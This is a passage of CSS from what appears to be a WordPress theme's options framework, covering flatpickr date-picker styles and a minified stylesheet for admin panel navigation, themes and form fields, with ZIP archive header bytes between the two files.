.flatpickr-day.nextMonthDay:focus,
.flatpickr-day.nextMonthDay:hover,
.flatpickr-day.prevMonthDay.inRange,
.flatpickr-day.prevMonthDay.today.inRange,
.flatpickr-day.prevMonthDay:focus,
.flatpickr-day.prevMonthDay:hover,
.flatpickr-day.today.inRange,
.flatpickr-day:focus,
.flatpickr-day:hover {
  cursor: pointer;
  outline: 0;
  background: #e6e6e6;
  border-color: #e6e6e6;
}
.flatpickr-day.today {
  border-color: #959ea9;
}
.flatpickr-day.today:focus,
.flatpickr-day.today:hover {
  border-color: #959ea9;
  background: #959ea9;
  color: #fff;
}
.flatpickr-day.endRange,
.flatpickr-day.endRange.inRange,
.flatpickr-day.endRange.nextMonthDay,
.flatpickr-day.endRange.prevMonthDay,
.flatpickr-day.endRange:focus,
.flatpickr-day.endRange:hover,
.flatpickr-day.selected,
.flatpickr-day.selected.inRange,
.flatpickr-day.selected.nextMonthDay,
.flatpickr-day.selected.prevMonthDay,
.flatpickr-day.selected:focus,
.flatpickr-day.selected:hover,
.flatpickr-day.startRange,
.flatpickr-day.startRange.inRange,
.flatpickr-day.startRange.nextMonthDay,
.flatpickr-day.startRange.prevMonthDay,
.flatpickr-day.startRange:focus,
.flatpickr-day.startRange:hover {
  background: #569ff7;
  -webkit-box-shadow: none;
  box-shadow: none;
  color: #fff;
  border-color: #569ff7;
}
.flatpickr-day.endRange.startRange,
.flatpickr-day.selected.startRange,
.flatpickr-day.startRange.startRange {
  border-radius: 50px 0 0 50px;
}
.flatpickr-day.endRange.endRange,
.flatpickr-day.selected.endRange,
.flatpickr-day.startRange.endRange {
  border-radius: 0 50px 50px 0;
}
.flatpickr-day.endRange.startRange + .endRange:not(:nth-child(7n + 1)),
.flatpickr-day.selected.startRange + .endRange:not(:nth-child(7n + 1)),
.flatpickr-day.startRange.startRange + .endRange:not(:nth-child(7n + 1)) {
  -webkit-box-shadow: -10px 0 0 #569ff7;
  box-shadow: -10px 0 0 #569ff7;
}
.flatpickr-day.endRange.startRange.endRange,
.flatpickr-day.selected.startRange.endRange,
.flatpickr-day.startRange.startRange.endRange {
  border-radius: 50px;
}
.flatpickr-day.inRange {
  border-radius: 0;
  -webkit-box-shadow: -5px 0 0 #e6e6e6, 5px 0 0 #e6e6e6;
  box-shadow: -5px 0 0 #e6e6e6, 5px 0 0 #e6e6e6;
}
.flatpickr-day.flatpickr-disabled,
.flatpickr-day.flatpickr-disabled:hover,
.flatpickr-day.nextMonthDay,
.flatpickr-day.notAllowed,
.flatpickr-day.notAllowed.nextMonthDay,
.flatpickr-day.notAllowed.prevMonthDay,
.flatpickr-day.prevMonthDay {
  color: rgba(57, 57, 57, 0.3);
  background: 0 0;
  border-color: transparent;
  cursor: default;
}
.flatpickr-day.flatpickr-disabled,
.flatpickr-day.flatpickr-disabled:hover {
  cursor: not-allowed;
  color: rgba(57, 57, 57, 0.1);
}
.flatpickr-day.week.selected {
  border-radius: 0;
  -webkit-box-shadow: -5px 0 0 #569ff7, 5px 0 0 #569ff7;
  box-shadow: -5px 0 0 #569ff7, 5px 0 0 #569ff7;
}
.flatpickr-day.hidden {
  visibility: hidden;
}
.rangeMode .flatpickr-day {
  margin-top: 1px;
}
.flatpickr-weekwrapper {
  float: left;
}
.flatpickr-weekwrapper .flatpickr-weeks {
  padding: 0 12px;
  -webkit-box-shadow: 1px 0 0 #e6e6e6;
  box-shadow: 1px 0 0 #e6e6e6;
}
.flatpickr-weekwrapper .flatpickr-weekday {
  float: none;
  width: 100%;
  line-height: 28px;
}
.flatpickr-weekwrapper span.flatpickr-day,
.flatpickr-weekwrapper span.flatpickr-day:hover {
  display: block;
  width: 100%;
  max-width: none;
  color: rgba(57, 57, 57, 0.3);
  background: 0 0;
  cursor: default;
  border: none;
}
.flatpickr-innerContainer {
  display: block;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  overflow: hidden;
}
.flatpickr-rContainer {
  display: inline-block;
  padding: 0;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
}
.flatpickr-time {
  text-align: center;
  outline: 0;
  display: block;
  height: 0;
  line-height: 40px;
  max-height: 40px;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  overflow: hidden;
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}
.flatpickr-time:after {
  content: "";
  display: table;
  clear: both;
}
.flatpickr-time .numInputWrapper {
  -webkit-box-flex: 1;
  -webkit-flex: 1;
  -ms-flex: 1;
  flex: 1;
  width: 40%;
  height: 40px;
  float: left;
}
.flatpickr-time .numInputWrapper span.arrowUp:after {
  border-bottom-color: #393939;
}
.flatpickr-time .numInputWrapper span.arrowDown:after {
  border-top-color: #393939;
}
.flatpickr-time.hasSeconds .numInputWrapper {
  width: 26%;
}
.flatpickr-time.time24hr .numInputWrapper {
  width: 49%;
}
.flatpickr-time input {
  background: 0 0;
  -webkit-box-shadow: none;
  box-shadow: none;
  border: 0;
  border-radius: 0;
  text-align: center;
  margin: 0;
  padding: 0;
  height: inherit;
  line-height: inherit;
  color: #393939;
  font-size: 14px;
  position: relative;
  -webkit-box-sizing: border-box;
  box-sizing: border-box;
  -webkit-appearance: textfield;
  -moz-appearance: textfield;
  appearance: textfield;
}
.flatpickr-time input.flatpickr-hour {
  font-weight: 700;
}
.flatpickr-time input.flatpickr-minute,
.flatpickr-time input.flatpickr-second {
  font-weight: 400;
}
.flatpickr-time input:focus {
  outline: 0;
  border: 0;
}
.flatpickr-time .flatpickr-am-pm,
.flatpickr-time .flatpickr-time-separator {
  height: inherit;
  float: left;
  line-height: inherit;
  color: #393939;
  font-weight: 700;
  width: 2%;
  -webkit-user-select: none;
  -moz-user-select: none;
  -ms-user-select: none;
  user-select: none;
  -webkit-align-self: center;
  -ms-flex-item-align: center;
  align-self: center;
}
.flatpickr-time .flatpickr-am-pm {
  outline: 0;
  width: 18%;
  cursor: pointer;
  text-align: center;
  font-weight: 400;
}
.flatpickr-time .flatpickr-am-pm:focus,
.flatpickr-time .flatpickr-am-pm:hover,
.flatpickr-time input:focus,
.flatpickr-time input:hover {
  background: #eee;
}
.flatpickr-input[readonly] {
  cursor: pointer;
}
@-webkit-keyframes fpFadeInDown {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }
  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}
@keyframes fpFadeInDown {
  from {
    opacity: 0;
    -webkit-transform: translate3d(0, -20px, 0);
    transform: translate3d(0, -20px, 0);
  }
  to {
    opacity: 1;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
  }
}
.csf-field-sizes input {
  border-radius: 0;
}
.csf-buttons .button.csf-reset-section {
  border-color: #c6ba0b;
  background: #c6ba0b;
  color: #fff;
}
body .csf-theme-light .csf-nav ul li .csf-active:after {
  content: "\f054";
  display: inline-block;
  font-family: "Font Awesome 5 Pro", "Font Awesome 5 Free", FontAwesome;
  font-weight: 900;
  font-size: 9px;
  line-height: 1;
  position: absolute;
  right: 12px;
  top: 50%;
  margin-top: -4px;
}
.csf-tab-item.csf-tab-expanded {
  background: #000;
}PK     2w\΃HK HK *  options/framework/assets/css/style.min.cssnu [        .csf{position:relative}.csf label{padding:0;margin:0;display:inline-block}.csf-ab-icon{top:2px}#screen-meta-links+.csf-options{margin-top:40px}.csf-options{margin-top:40px;margin-right:15px;margin-left:15px}.csf-header{position:relative}.csf-header-inner{padding:25px;transition:box-shadow .3s ease}.csf-header-inner h1{float:left;font-size:1.5em;line-height:26px;font-weight:400;margin:0}.csf-header-inner h1 small{font-size:11px;font-weight:500}.csf-sticky .csf-header-inner{position:fixed;z-index:99;top:32px;box-shadow:0 5px 10px rgba(0,0,0,.1)}.csf-buttons{float:right}.csf-buttons .button{margin:0 2px;line-height:34px;border-radius:0}.csf-buttons .button:focus{outline:0!important;box-shadow:none!important}.csf-buttons .csf-save{min-width:72px}.csf-header-left{float:left}.csf-header-right{float:right}.csf-nav{display:block;position:relative;z-index:10;float:left}.csf-nav ul{clear:left;margin:0;list-style-type:none}.csf-nav ul li{margin-bottom:0}.csf-nav ul li a{font-size:14px;position:relative;display:block;padding:20px 15px;text-decoration:none;transition-property:color,background;transition-duration:.2s;transition-timing-function:ease;line-height:1.4}.csf-nav ul li a:focus{outline:0;box-shadow:none}.csf-nav ul li .csf-arrow:after{content:"\f054";display:inline-block;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:9px;line-height:1;position:absolute;right:12px;top:50%;margin-top:-4px}.csf-nav ul li.csf-tab-expanded .csf-arrow:after{transform:rotate(90deg)}.csf-nav ul li.csf-tab-expanded ul{display:block}.csf-nav ul ul{display:none;position:relative}.csf-nav ul ul li a{font-size:12px;padding:12px 15px 12px 30px}.csf-nav ul li.csf-tab-expanded ul{background:0 0}.csf-nav .csf-tab-icon{width:20px;margin-right:20px;font-size:26px;text-align:center;vertical-align:middle;position:absolute;left:20px;top:0;bottom:0;display:flex;align-items:center}.penci-cpnale-tab-title{padding-left:45px;display:block}.csf-nav .csf-label-error{margin-left:4px;vertical-align:top}.csf-nav-normal{width:225px}.csf-nav-normal+.csf-content{margin-left:225px}.csf-nav-inline{width:100%}.csf-nav-inline ul li{display:inline-block;vertical-align:top}.csf-nav-background{position:absolute;top:0;left:0;bottom:0;z-index:9;width:225px}.csf-wrapper{position:relative}.csf-content{position:relative;background-color:#fff}.csf-sections{float:left;width:100%}.csf-section-title{display:none;padding:20px 30px;background-color:#f5f5f5;border-top:1px solid #eee;border-bottom:1px solid #eee}.csf-section-title h3{margin:0;padding:0;font-size:13px;font-weight:700;text-transform:uppercase}.csf-section-title .csf-section-icon{margin-right:5px}.csf-footer{padding:20px;font-size:11px}.csf-copyright{float:left;margin-top:5px}.csf-search-all .csf-nav,.csf-search-all .csf-nav-background,.csf-show-all .csf-nav,.csf-show-all .csf-nav-background{display:none}.csf-search-all .csf-content,.csf-show-all .csf-content{margin-left:0}.csf-search-all .csf-section,.csf-search-all .csf-section-title,.csf-show-all .csf-section,.csf-show-all .csf-section-title{display:block!important}.csf-search-all .csf-section-title{display:none!important}.csf-expand-all{float:left;padding:0 8px;margin-right:4px;z-index:1;font-size:13px;line-height:30px;cursor:pointer;user-select:none;border-radius:0;transition:all .2s}.csf-expand-all span{font-size:11px;vertical-align:middle}.csf-search{float:left}.csf-search input{margin:0 2px 0 0;border:none;font-size:12px;line-height:36px;min-height:30px;text-align:inherit;padding:0 10px;border-radius:0;box-shadow:none}.csf-search input:focus{box-shadow:none}.csf-saving .csf-buttons,.csf-saving .csf-content{cursor:default;pointer-events:none;opacity:.5}.csf-metabox{margin:-6px -12px -12px -12px}.csf-metabox .csf-field{padding:20px}.csf-metabox .csf-section-title{padding:20px}.block-editor-page .csf-metabox{margin:-6px -14px -14px -14px}.block-editor-editor-skeleton__content .csf-metabox{border-left:1px solid #e2e4e7;border-right:1px solid #e2e4e7}.csf-sections-reset{float:left;width:100%;text-align:right;border-top:1px solid #eee}.csf-sections-reset .csf-button-cancel,.csf-sections-reset input{display:none}.csf-sections-reset label{padding:10px}.csf-sections-reset span{-webkit-user-select:none;user-select:none}.csf-sections-reset input:checked~.csf-button-reset{display:none}.csf-sections-reset input:checked~.csf-button-cancel{display:inline-block}#side-sortables .csf-section-title{padding:12px}#side-sortables .csf-field{padding:10px 15px}#side-sortables .csf-field .csf-title{float:none;width:100%;margin-bottom:6px}#side-sortables .csf-field .csf-fieldset{float:none;width:100%}#side-sortables .csf-field-text input{width:100%}#side-sortables .csf-notice{padding:10px 15px}.csf-comment-metabox{margin:-6px -12px -12px -12px}.csf-comment-metabox .csf-field{padding:20px}.csf-comment-metabox .csf-section-title{padding:20px}.csf-tooltip{position:absolute;z-index:5000001;font-size:12px;line-height:1.4;text-align:center;text-decoration:none;padding:6px 12px;max-width:200px;color:#fff;background-color:#000;background-color:rgba(0,0,0,.85);border-radius:0}.csf-theme-dark .csf-header-inner{background-color:#050505}.csf-theme-dark .csf-header-inner h1{color:#fff}.csf-theme-dark .csf-header-inner h1 small{color:#555}.csf-theme-dark .csf-expand-all{color:#999;background-color:#222}.csf-theme-dark .csf-expand-all:hover{color:#fff;background-color:#333}.csf-theme-dark .csf-search input{color:#fff;background-color:#222}.csf-theme-dark .csf-search:focus{background-color:#444}.csf-theme-dark .csf-search::-webkit-input-placeholder{color:#666}.csf-theme-dark .csf-nav ul li a{color:#999;border-color:#2f2f2f;background-color:#222}.csf-theme-dark .csf-nav ul li a:hover{color:#fff}.csf-theme-dark .csf-nav ul li .csf-active{color:#fff;background-color:#111}.csf-theme-dark .csf-nav ul ul li a{border-color:#2f2f2f;background-color:#191919}.csf-theme-dark .csf-nav ul ul li .csf-active{background-color:#101010}.csf-theme-dark .csf-nav ul ul:before{background-color:rgba(34,34,34,.75)}.csf-theme-dark .csf-nav>ul>li:last-child>a{border:none}.csf-theme-dark .csf-nav-normal ul li a{border-bottom-width:1px;border-bottom-style:solid}.csf-theme-dark .csf-nav-normal ul li .csf-active:after{content:" ";position:absolute;right:0;top:50%;height:0;width:0;pointer-events:none;border:solid transparent;border-right-color:#fff;border-width:4px;margin-top:-4px}.csf-theme-dark .csf-nav-inline{background-color:#222}.csf-theme-dark .csf-nav-inline ul li a{text-align:center;border-right-width:1px;border-right-style:solid}.csf-theme-dark .csf-nav-inline ul li .csf-active:after{content:" ";position:absolute;left:50%;bottom:0;height:0;width:0;pointer-events:none;border:solid transparent;border-bottom-color:#fff;border-width:4px;margin-left:-4px}.csf-theme-dark .csf-nav-background{background-color:#222}.csf-theme-dark .csf-footer{color:#555;background-color:#050505}.csf-theme-light .csf-container{box-shadow:0 0 15 rgba(0,0,0,.04)}.csf-theme-light .csf-header-inner{border-bottom:1px solid #ccd0d4;background-color:#f5f5f5}.csf-theme-light .csf-header-inner h1 small{color:#999}.csf-theme-light .csf-expand-all{color:#999;background-color:#eee}.csf-theme-light .csf-expand-all:hover{color:#555}.csf-theme-light .csf-search input{color:#555;background-color:#eee}.csf-theme-light .csf-search input::-webkit-input-placeholder{color:#999}.csf-theme-light .csf-nav ul li a{font-weight:500;color:#444;background-color:#f5f5f5}.csf-theme-light .csf-nav ul li a:hover{color:#111;background-color:#fff}.csf-theme-light .csf-nav ul li .csf-active{color:#111;background-color:#fff}.csf-theme-light .csf-nav ul ul li a{background-color:#eee}.csf-theme-light .csf-nav-normal>ul{margin-right:-1px;margin-bottom:-1px}.csf-theme-light .csf-nav-normal>ul li a{border-bottom:1px solid #ccd0d4;border-right:1px solid #ccd0d4}.csf-theme-light .csf-nav-normal>ul li .csf-active{border-right-color:#fff}.csf-theme-light .csf-nav-inline{background-color:#f5f5f5;border-bottom:1px solid #ccd0d4}.csf-theme-light .csf-nav-inline>ul{margin-bottom:-1px}.csf-theme-light .csf-nav-inline>ul li a{text-align:center;border-right:1px solid #ccd0d4;border-bottom:1px solid #ccd0d4}.csf-theme-light .csf-nav-inline>ul li .csf-active{border-bottom-color:#fff}.csf-theme-light .csf-nav-inline>ul ul{display:none!important}.csf-theme-light .csf-nav-inline .csf-arrow:after{display:none}.csf-theme-light .csf-nav-background{background-color:#f5f5f5}.csf-theme-light .csf-footer{color:#555;border-top:1px solid #ccd0d4;background-color:#f5f5f5}.csf-field{position:relative;padding:30px}.csf-field+.csf-field{border-top:1px solid #eee}.csf-field p:first-child{margin-top:0}.csf-field p:last-child{margin-bottom:0}.csf-field:after,.csf-field:before{content:" ";display:table}.csf-field:after{clear:both}.csf-field h4{margin-top:0}.csf-field .csf-title{position:relative;width:35%;float:left}.csf-field .csf-title h4{margin:0;color:#23282d}.csf-field .csf-fieldset{float:right;width:calc(65% - 20px)}.csf-pseudo-field{padding:0 5px 0 0!important;display:inline-block}.csf-pseudo-field+.csf-pseudo-field{border:0}.csf-pseudo-field pre{display:none}.csf-field-accordion .csf-accordion-item{position:relative;margin-bottom:5px}.csf-field-accordion .csf-accordion-item:last-child{margin-bottom:0}.csf-field-accordion .csf-accordion-item h4{font-size:1em}.csf-field-accordion .csf-accordion-title{display:block;cursor:pointer;position:relative;margin:0;padding:15px;min-height:0;font-size:100%;user-select:none;border:1px solid #ccd0d4;background-color:#fafafa;box-shadow:0 1px 1px rgba(0,0,0,.04);transition:border-color .15s}.csf-field-accordion .csf-accordion-title:active,.csf-field-accordion .csf-accordion-title:focus,.csf-field-accordion .csf-accordion-title:hover{outline:0;border-color:#999}.csf-field-accordion .csf-accordion-title .csf--icon{width:20px;text-align:center;margin-right:2px}.csf-field-accordion .csf-accordion-icon{width:16px;text-align:center}.csf-field-accordion .csf-accordion-content{display:none;padding:0;border:1px solid #ccd0d4;border-top:none;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-accordion .csf-accordion-content>.csf-field{padding:15px}.csf-field-accordion .csf-accordion-open{display:block}.csf-field-background .csf-field{border:0!important;padding:0;margin-bottom:6px;margin-right:6px}.csf-field-background .csf--title{color:#777;font-size:12px}.csf-field-background .csf--background-colors{display:flex;flex-wrap:wrap}.csf-field-background .csf--background-attributes{display:flex;flex-wrap:wrap}.csf-field-background .csf--background-attributes select{min-width:100%;margin:0}.csf-field-background .csf--background-attributes .csf-field{flex:1}.csf-field-background .csf--attributes-hidden{display:none}.csf-field-backup textarea{width:100%;min-height:200px;margin-bottom:5px}.csf-field-backup small{display:inline-block;margin:5px}.csf-field-backup hr{margin:20px 0;border:none;border-bottom:1px solid #e5e5e5}.csf-field-border .csf--inputs,.csf-field-dimensions .csf--inputs,.csf-field-sizes .csf--inputs,.csf-field-spacing .csf--inputs,.csf-field-spacings .csf--inputs{float:left;display:flex;flex-wrap:wrap}.csf-field-border .csf--input,.csf-field-dimensions .csf--input,.csf-field-sizes .csf--input,.csf-field-spacing .csf--input,.csf-field-spacings .csf--input{display:flex;padding-right:6px;padding-bottom:4px;box-sizing:border-box}.csf-field-border .csf--input select,.csf-field-dimensions .csf--input select,.csf-field-spacing .csf--input select{margin:0}.csf-field-border .csf--input input,.csf-field-dimensions .csf--input input,.csf-field-sizes .csf--input input,.csf-field-spacing .csf--input input,.csf-field-spacings .csf--input input{position:relative;z-index:1;margin:0;width:65px;max-width:100%;text-align:center}.csf-field-border .csf--color,.csf-field-dimensions .csf--color,.csf-field-spacing .csf--color,.csf-field-spacings .csf--color{float:left}.csf-field-border .csf--label,.csf-field-dimensions .csf--label,.csf-field-sizes .csf--label,.csf-field-spacing .csf--label,.csf-field-spacings .csf--label{display:flex;flex-direction:column;justify-content:center;user-select:none;min-width:20px;max-width:100%;padding:0 4px;font-size:12px;text-align:center;color:#555;border:1px solid #7b776c;background-color:#f5f5f5}.csf-field-border .csf--icon,.csf-field-dimensions .csf--icon,.csf-field-sizes .csf--icon,.csf-field-spacing .csf--icon,.csf-field-spacings .csf--icon{border-right:0;border-radius:0}.csf-field-border .csf--icon+input,.csf-field-dimensions .csf--icon+input,.csf-field-sizes .csf--icon+input,.csf-field-spacing .csf--icon+input,.csf-field-spacings .csf--icon+input{border-top-left-radius:0!important;border-bottom-left-radius:0!important}.csf-field-border .csf--unit,.csf-field-dimensions .csf--unit,.csf-field-sizes .csf--unit,.csf-field-spacing .csf--unit,.csf-field-spacings .csf--unit{border-left:0;border-radius:0}.csf-field-border .csf--is-unit,.csf-field-dimensions .csf--is-unit,.csf-field-sizes .csf--is-unit,.csf-field-spacing .csf--is-unit,.csf-field-spacings .csf--is-unit{border-top-right-radius:0!important;border-bottom-right-radius:0!important}.csf-field-button_set .csf--buttons{display:inline-block}.csf-field-button_set .csf--button{position:relative;z-index:1;float:left;cursor:pointer;padding:7px 14px;min-width:16px;text-align:center;color:#555;border:1px solid #ccc;background-color:#f7f7f7;user-select:none;box-shadow:0 1px 0 rgba(0,0,0,.1)}.csf-field-button_set .csf--button:first-child{border-radius:0}.csf-field-button_set .csf--button:last-child{border-radius:0}.csf-field-button_set .csf--button:not(:first-child){margin-left:-1px}.csf-field-button_set .csf--button:hover{background-color:#eee}.csf-field-button_set .csf--active,.csf-field-button_set .csf--active:hover{z-index:2;color:#fff;border-color:#006799;background-color:#0085ba}.csf-field-button_set input{display:none}.csf-field-checkbox ul,.csf-field-radio ul{margin:0;padding:0;list-style-type:none;overflow-y:auto;max-height:305px}.csf-field-checkbox ul li,.csf-field-radio ul li{margin-bottom:6px}.csf-field-checkbox ul ul,.csf-field-radio ul ul{max-height:none}.csf-field-checkbox ul ul li,.csf-field-radio ul ul li{margin-left:8px}.csf-field-checkbox ul ul li:first-child,.csf-field-radio ul ul li:first-child{margin-left:0}.csf-field-checkbox input,.csf-field-radio input{margin:0 1px}.csf-field-checkbox .csf--inline-list li,.csf-field-radio .csf--inline-list li{display:inline-block;margin-right:15px}.csf-field-checkbox .csf--text,.csf-field-radio .csf--text{margin-left:5px;vertical-align:middle}.csf-field-checkbox .csf-checker,.csf-field-radio .csf-checker{cursor:pointer}.csf-field-checkbox .csf-checkbox-all,.csf-field-radio .csf-checkbox-all{user-select:none;cursor:pointer;margin-top:5px;font-weight:500;text-decoration:none}.csf-field-code_editor .CodeMirror{width:100%;height:400px}.csf-field-code_editor .cm-s-default{border:1px solid #ccd0d4}.csf-field-code_editor textarea{width:100%;height:400px}.csf-field-color>input{opacity:.75;width:115px;max-width:100%}.csf-field-color .button.wp-picker-clear{padding:0 8px;margin-left:6px;line-height:2.54545455;min-height:30px}.csf-field-color_group .csf--left{float:left;margin-right:10px;margin-bottom:5px}.csf-field-color_group .csf--title{color:#999;margin-bottom:5px}.csf-field-fieldset .csf-fieldset-content{border:1px solid #ccd0d4;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-fieldset .csf-fieldset-content>.csf-field{padding:15px}.csf-field-fieldset .csf-field-subheading{font-size:13px}.csf-field-date input{margin:0}.csf-field-date .csf--to{margin-left:7px}.csf-datepicker-wrapper{margin-top:5px;width:auto;background-color:#fff;z-index:9999999!important;box-shadow:0 0 30px rgba(0,0,0,.15)}.csf-datepicker-wrapper *{float:none;margin:0;padding:0;font-family:inherit;font-weight:400;font-style:normal;text-decoration:none;border:0;border-radius:0;box-shadow:none}.csf-datepicker-wrapper .ui-datepicker-header,.csf-datepicker-wrapper .ui-widget-header{color:#fff;background:#00a0d2}.csf-datepicker-wrapper .ui-datepicker-header .ui-state-hover{cursor:pointer}.csf-datepicker-wrapper .ui-datepicker-title{font-size:14px;line-height:40px;text-align:center}.csf-datepicker-wrapper .ui-datepicker-next,.csf-datepicker-wrapper .ui-datepicker-prev{position:static;top:auto;left:auto;right:auto;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;font-size:12px;text-align:center;width:41px;height:40px;line-height:40px;color:#fff;background-color:rgba(255,255,255,.1);text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.csf-datepicker-wrapper .ui-datepicker-next span,.csf-datepicker-wrapper .ui-datepicker-prev span{display:none}.csf-datepicker-wrapper .ui-datepicker-prev{float:left}.csf-datepicker-wrapper .ui-datepicker-next{float:right}.csf-datepicker-wrapper .ui-datepicker-prev:before{content:"\f053"}.csf-datepicker-wrapper .ui-datepicker-next:before{content:"\f054"}.csf-datepicker-wrapper .ui-datepicker-next-hover,.csf-datepicker-wrapper .ui-datepicker-prev-hover{opacity:.75}.csf-datepicker-wrapper tbody .ui-datepicker-week-col{background-color:#f7f7f7}.csf-datepicker-wrapper .ui-datepicker-buttonpane{padding:10px;text-align:center;background-color:#f7f7f7}.csf-datepicker-wrapper .ui-datepicker-buttonpane button{cursor:pointer;margin:0 5px;padding:7px 14px;border:1px solid #eee;background-color:#fff}.csf-datepicker-wrapper select{margin:0 4px}.csf-datepicker-wrapper select option{color:#555}.csf-datepicker-wrapper table{font-size:13px;border-collapse:collapse;width:100%}.csf-datepicker-wrapper thead{color:#fff;background:#32373c}.csf-datepicker-wrapper th{text-align:center;padding:7px;border:1px solid #444}.csf-datepicker-wrapper td{text-align:center;border:1px solid #f4f4f4}.csf-datepicker-wrapper td.ui-datepicker-other-month{border:transparent}.csf-datepicker-wrapper td .ui-state-default{color:#555;width:auto;display:block;padding:6px 12px}.csf-datepicker-wrapper td .ui-state-active,.csf-datepicker-wrapper td .ui-state-hover{color:#fff;background-color:#0073aa}.csf-datepicker-wrapper td.ui-state-disabled .ui-state-default{opacity:.5}.csf-field-datetime input{margin:0}.csf-field-datetime .csf--to{margin-left:7px}.csf-flatpickr input,.csf-flatpickr select{min-height:auto}.csf-flatpickr input:focus,.csf-flatpickr select:focus{box-shadow:none}.csf-flatpickr.open{z-index:9999999!important}.csf-field-gallery ul{margin:0;padding:0;list-style-type:none}.csf-field-gallery ul li{display:inline-block;position:relative;padding:4px;margin:0 5px 10px 0;border:1px solid #ccc;background-color:#f9f9f9;border-radius:0;box-shadow:0 1px 0 rgba(0,0,0,.08)}.csf-field-gallery ul li img{max-height:60px;display:inline-block;vertical-align:middle}.csf-field-gallery .button{margin-right:5px;margin-bottom:5px}.csf-field-group .csf-cloneable-hidden{display:none!important}.csf-field-group .csf-cloneable-wrapper{position:relative}.csf-field-group .csf-cloneable-item{display:none;position:relative;margin-bottom:5px}.csf-field-group .csf-cloneable-item h4{font-size:1em}.csf-field-group .ui-accordion .csf-cloneable-item{display:block}.csf-field-group .csf-cloneable-content{border:1px solid #ccd0d4;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-group .csf-cloneable-content>.csf-field{padding:15px}.csf-field-group .csf-cloneable-title{display:block;cursor:pointer;position:relative;user-select:none;margin:0;padding:15px 65px 15px 10px;min-height:0;font-size:100%;border:1px solid #ccd0d4;background-color:#fafafa;box-shadow:0 1px 1px rgba(0,0,0,.04);transition:border-color .15s}.csf-field-group .csf-cloneable-title:active,.csf-field-group .csf-cloneable-title:focus,.csf-field-group .csf-cloneable-title:hover{border-color:#999;outline:0}.csf-field-group .csf-cloneable-helper{position:absolute;top:12px;right:10px;z-index:1;font-size:14px;line-height:1em}.csf-field-group .csf-cloneable-helper i{display:inline-block;cursor:pointer;padding:5px;color:#999}.csf-field-group .csf-cloneable-helper i:hover{color:#555}.csf-field-group .csf-cloneable-content{padding:0;border-top:0}.csf-field-group .csf-cloneable-title-number,.csf-field-group .csf-cloneable-title-prefix{margin-right:5px}.csf-field-group .csf-cloneable-alert{display:none;margin-bottom:5px;padding:10px 20px;color:#a94442;border:1px solid #ebccd1;background-color:#f2dede}.csf-field-group .widget-placeholder{margin-bottom:10px;border:1px dashed #f1c40f;background-color:#fffae4}.csf-field-group .csf-cloneable-header-icon{display:inline-block;text-align:center;font-size:14px;width:17px;text-indent:0;vertical-align:text-top}.csf-field-group .csf-cloneable-placeholder{background-color:#ddd;margin-top:4px;width:100px;height:10px;font-size:10px;line-height:10px;display:inline-block;vertical-align:top;border-radius:0}.csf-field-icon .csf-icon-select{display:flex;grid-gap:5px}.csf-field-icon .csf-icon-preview:not(.hidden){display:flex}.csf-field-icon .csf-icon-preview i{display:flex;justify-content:center;align-items:center;width:30px;font-size:14px;text-align:center;vertical-align:top;color:#555;border:1px solid #ccc;background-color:#f7f7f7;border-radius:0;box-shadow:0 1px 0 rgba(0,0,0,.08)}.csf-field-image_select .csf--image{display:inline-block;margin:0 5px 5px 0}.csf-field-image_select .csf--inline-list .csf--image{display:block}.csf-field-image_select figure{cursor:pointer;position:relative;display:inline-block;max-width:100%;margin:0;vertical-align:bottom;border:2px solid transparent;background-color:#fff;user-select:none;transition:all .2s}.csf-field-image_select figure:before{position:absolute;top:0;left:0;text-align:center;font-size:10px;font-family:"Font Awesome 5 Pro","Font Awesome 5 Free",FontAwesome;font-weight:900;content:"\f00c";width:16px;height:16px;line-height:14px;opacity:0;color:#fff;background-color:#222;transition:opacity .2s}.csf-field-image_select .csf--active figure{border-color:#222;box-shadow:0 0 20px rgba(0,0,0,.2)}.csf-field-image_select .csf--active figure:before{opacity:1}.csf-field-image_select img{max-width:100%;height:auto;vertical-align:top}.csf-field-image_select input{display:none}.csf-field-link_color .csf--left{float:left;margin-right:10px;margin-bottom:5px}.csf-field-link_color .csf--title{color:#777;margin-bottom:5px}.csf-field-map input{width:100%}.csf-field-map input[type=text].ui-autocomplete-loading{background-position-x:calc(100% - 5px)}.csf-field-map .csf--map-search+.csf--map-osm-wrap{margin-top:10px}.csf-field-map .csf--map-osm-wrap{position:relative;padding:5px;border:1px solid #eee;background-color:#fff;box-shadow:0 1px 1px rgba(0,0,0,.04)}.csf-field-map .csf--map-osm{position:relative;z-index:1;min-height:250px}.csf-field-map .csf--map-inputs{margin-top:10px;display:flex;justify-content:space-between}.csf-field-map .csf--map-input{flex:1}.csf-field-map .csf--map-input:last-child{padding-left:10px}.csf-field-map label{display:block;color:#777;font-size:12px;margin:0 0 2px 0}.csf-map-ui-autocomplate{z-index:999999;border-radius:0;overflow:hidden}.csf-field-media .csf--placeholder{display:flex;align-items:flex-start}.csf-field-media .csf--placeholder input{width:100%;margin:0}.csf-field-media .button{margin-left:5px}.csf-field-media .hidden+.button{margin-left:0}.csf-field-media .csf--preview{position:relative}.csf-field-palette .csf--palette{position:relative;display:inline-block;cursor:pointer;border:2px solid #ddd;margin-right:10px;margin-bottom:10px;user-select:none;-webkit-user-select:none;transition:all .2s}.csf-field-palette .csf--palette span{vertical-align:middle;display:inline-block;width:22px;height:60px;line-height:60px;overflow:hidden;text-indent:-999px}.csf-field-palette .csf--palette:before{position:absolute;top:0;left:0;text-align:center;font-size:10px;font-family:"Font Awesome 5 Pro","Font Awesome 5 